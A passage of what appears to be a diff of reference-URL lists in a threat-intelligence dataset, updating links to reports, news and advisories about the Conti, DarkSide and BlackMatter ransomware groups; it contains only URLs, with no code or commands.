"https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", - "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", - "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", - "https://github.com/whichbuffer/Conti-Ransomware-IOC", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", + "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", + "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", + "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", - "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", - "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://twitter.com/TheDFIRReport/status/1498642512935800833", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", - "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", - "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", - "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", - "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", - "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://www.mbsd.jp/research/20210413/conti-ransomware/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", + "https://securelist.com/luna-black-basta-ransomware/106950", + "https://twitter.com/TheDFIRReport/status/1498642512935800833", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", + "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/" + "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://share.vx-underground.org/Conti/", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", + "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", + "https://www.youtube.com/watch?v=hmaWy9QIC7c", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", + "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", + "https://www.youtube.com/watch?v=uORuVVQzZ0A", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", + "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", + "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", + "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", + "https://github.com/whichbuffer/Conti-Ransomware-IOC", + "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", + 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"https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", - "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", - "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", - "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", - "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", - "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://asec.ahnlab.com/en/34549/", - "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - 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"https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://unit42.paloaltonetworks.com/darkside-ransomware/", - "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", - "http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside", - "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", - "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", - "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", - "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", - "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", - "https://blog.group-ib.com/blackmatter#", - "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", - "https://blog.group-ib.com/blackmatter2", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", - "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", - "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", - 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"https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", - "https://www.acronis.com/en-us/articles/darkside-ransomware/", - "https://www.databreaches.net/a-chat-with-darkside/", - "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", - "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", - "https://brandefense.io/darkside-ransomware-analysis-report/", - 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"https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", + "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", + "https://www.secureworks.com/research/threat-profiles/gold-waterfall", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", + "https://brandefense.io/darkside-ransomware-analysis-report/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.varonis.com/blog/darkside-ransomware/", + "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/", + "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", + "https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions", + "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", + "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://zawadidone.nl/darkside-ransomware-analysis/", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html" + "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", + "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", + "https://www.acronis.com/en-us/articles/darkside-ransomware/", + "https://unit42.paloaltonetworks.com/darkside-ransomware/", + "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/", + "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", + "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://community.riskiq.com/article/fdf74f23", + "https://twitter.com/sysopfb/status/1422280887274639375", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", + "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://blog.group-ib.com/blackmatter2", + "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", + "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", + "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.glimps.fr/lockbit3-0/", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", + "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/", + "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", + "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", + "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", + "https://asec.ahnlab.com/en/34549/", + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", + "https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", + "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", + "https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", + "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", + "https://blog.group-ib.com/blackmatter#", + "https://us-cert.cisa.gov/ncas/alerts/aa21-131a", + "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", + "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", + "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", + 